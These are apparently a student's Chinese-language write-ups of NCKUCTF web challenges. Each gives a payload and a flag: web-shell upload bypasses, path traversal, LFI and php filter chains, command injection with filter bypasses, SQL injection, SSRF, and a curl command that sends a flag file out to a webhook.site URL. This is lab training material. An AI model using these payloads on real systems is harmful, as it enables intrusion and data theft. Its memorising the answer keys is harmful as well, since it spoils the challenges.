nckuctf_WEB_writeups
shiba-shop
Redirect
Cookie
Robots
由於題目就叫 Robots ,直接嘗試存取 robots.txt ,發現一個奇怪的路徑。

進入該路徑即獲得flag。
Flag
NCKUCTF{robots.txt_M4Y_3XP053_53Cr37_P47H}
gitleak
進入網頁,發現網頁說 flag 位於 .env 中。

嘗試使用 githack 攻擊,成功獲得 .env ,內含flag。

Flag
NCKUCTF{D0N7_3XP053_Y0Ur_git_F01D3r}
phpisnice
進入網頁後,發現要達成輸入 A 的值與md5後的 A 值相同。
查詢 Magic Hashes,發現 0e215962017 md5 後會變成 0e291242476940776845150308577824,在弱型別比較時相同。
將 A 設為 0e215962017,即獲得flag。
payload:https://chall.nckuctf.org:28105/?A=0e215962017
Flag
NCKUCTF{php_15_7h3_n1c3_14n9u493}
phpisbest
進入網頁後,發現要達成輸入 A md5後的值與md5後的 B 值相同,並且A和B不得相同。
由於同為弱型別比較,嘗試輸入陣列使其報錯,即可獲得 flag。
payload:https://chall.nckuctf.org:28106/?A[]&B[]=lol

Flag
NCKUCTF{php_15_7h3_8357_14n9u493}
uploader
使用
1 | |
取得shell。
接著便可在根目錄找到flag。

Flag
NCKUCTF{w385h311_15_4_427}
uploader-waf
進入網頁發現限制有
Content-Type必須為image/png- 副檔名不得為
.php
副檔名限制可以用大小寫繞過(如 pHp),Content-Type可利用Burp竄改。

上傳後即可RCE,並在根目錄中找到 flag 。
Flag
NCKUCTF{w385h311_15_4_427_4nd_m491c}
pathwalker
進入網站後亂點,發現在 Cappo 中顯示 flag 位於 /var/www/html/flag.php ,並且沒有進行任何阻擋。

直接輸入多個 ../ ,後存取 /var/www/html/flag 即可取得 flag。
payload:https://chall.nckuctf.org:28109/?page=../../../../var/www/html/flag
Flag
NCKUCTF{p47h_724v32541_15_0u2_f213nd}
pathwalker-waf
與上題相同,但新增了開頭必須是 apple|banana|cappo 的限制,直接在開頭加入任一選項即可獲得 flag 。
Payload:https://chall.nckuctf.org:28110/?page=apple/../../../../../../var/www/html/flag
Flag
NCKUCTF{p47h_724v32541_h45_4107_721ck}
pathwalker-waf2
承 pathwalker,本題僅限制會將 ../ replace 為空值,可以改為 ....// 規避。
Payload:https://chall.nckuctf.org:28142/?page=....//....//....//....//var/www/html/flag
Flag
NCKUCTF{p47h_../../../to….//….//….//}
🍪 Cookie Image
進入後發現 nginx.conf:
1 | |
雖然 /flag.txt 被擋了,但可以透過 static../ 存取到 flag。
payload:https://chall.nckuctf.org:28143/static../flag.txt
Flag
NCKUCTF{nginx-Off-By-Slash!}
lfi
直接存取 flag,發現會直接消失。

嘗試使用php偽協議,拿出php的原始檔,即可獲得 flag 。

Flag
NCKUCTF{1f1_15_7h3_900d_ch4nc3}
lfi2rce
由於已知flag在根目錄,但不知道檔名,使用<?php system('cd /;cat *|grep NCKU'); ?>找。
使用php_filter_chain_generator生成Payload,

輸入Payload後即可獲得flag。

Flag
NCKUCTF{w385h311_15_4_427}
swiri
dig
進入後發現有給我伺服器執行的指令,可以利用分號截斷先前的指令後直行我想執行的指令。
Payload:';cd /;cat /*|grep NCKU;cat'

Flag
NCKUCTF{d19_70015_15_n1c3!}
dig-waf1
由於flag被 ban 了,故嘗試使用'$(cat /fla*)',成功獲得flag。

Flag
NCKUCTF{d19_70015_15_427!}
dig-waf2
由於空格被 ban ,使用${IFS}繞過。
payload:'$(cat${IFS}/*)'

Flag
NCKUCTF{d19_70015_15_m491c!}
dig-waf3
由於 'f','l','a','g' 被 ban ,無法使用 cat ,改用 more。
Payload:'$(more${IFS}/*_*)'

Flag
NCKUCTF{WOW_commandi_in_d19_70015_15_m491c!}
dig-waf4
正規解
與上題差不多,但大括號也被禁用了,不過 $IFS 一樣能被解釋為空格。
Payload:'$(more$IFS/*_*)'

非正規
直接 cat /fla* 就過了:D?

Flag
NCKUCTF{command_injection_has_somany_combinations!_udshq3}
dig-waf5
SCIST CTF的時候就打不出來了:)))))
Dig blind
進入後發現沒有任何限制,但沒有輸出。
因為沒有輸出,故嘗試將其傳送至webhook,payload如下。
Payload:$(curl -X POST -d "$(cat /fla*)" https://webhook.site/4066c5e5-efae-40da-ad4f-35ffb75f65f2)
輸入後webhook即收到flag。

Flag
NCKUCTF{d19_70015_15_n1c3_bu7_1_c4n7_s33!!}
dig blind 2
SCIST final CTF
注入方式
– 輸入' ; true #發現回傳success,證實這種方法可以注入。尋找flag檔案
– 在測試到' ; test -f /flag # '時伺服器回傳success,確認檔案為/flag。利用 grep 找出內容
– 測試' ; grep '^NCKUCTF{' /flag # '回傳success,可以透過不斷測試爆破出flag。
1 | |

Flag
NCKUCTF{d19_70015_15_n1c3_bu7_1_c4n7_s33!!}
dig-argument
由於可以注入參數,使用-f來讀取檔案。

Flag
NCKUCTF{y0u_4r3_7h3_4r6um3n7_1nj3c710n_m4573r}
login
進入後發現他有給我sql語法。
由於username的查詢有用括號開頭,故結尾也要填入括號。
payload:
1 | |

Flag
NCKUCTF{SQL1nj3c710n_1s_S0_l33t}
Let me in
查看 source code ,發現伺服器未對使用者輸入進行驗證,故可用最基本的 ' OR '1'='1 繞過。

Flag
NCKUCTF{OKAY_U_R_IN}
Let me in REVENGE
查看 source code ,發現伺服器會先向資料庫請求username的資料,再依據其回傳資料於php中比對密碼,故使用 UNION 竄改回應內容,再依據回應內容輸入密碼。

Payload:
1 | |
Flag
NCKUCTF{OKAY_YOURE_IN_AGAIN}
sqli unoin
進入後發現 flag 位於table: flags;column: flag_value 中。
利用 UNION 繞過原資料庫並回傳flag內容。
Payload:id=-1 UNION SELECT 1, 2, flag_value FROM flags
Flag
NCKUCTF{UNION_SELECT_FOO_FROM_BAR}
sqli union REVENGE
感覺炸了 跟上題一樣 flag也錯:)。
SSRF1
題目 Ban 很多 localhost 的IP,但沒 ban 0.0.0.0。
Payload:http://0.0.0.0/internal-only
Flag
NCKUCTF{55rf_15_1n7r4n37_k1ll3r!}
SSRF2
由於原始碼中限制 /internal-only 只能透過內往存取。
又/mkreq只能前往httpbin.dev開頭的網站,故嘗試使用httpbin.dev的重導向服務,重導向至http://127.0.0.1/internal-only
payload:https://httpbin.dev/redirect-to?url=http://127.0.0.1/internal-only
Flag
NCKUCTF{y0u_4r3_r34lly_4_55rf_0p3n_r3d1r3c7_m4573r}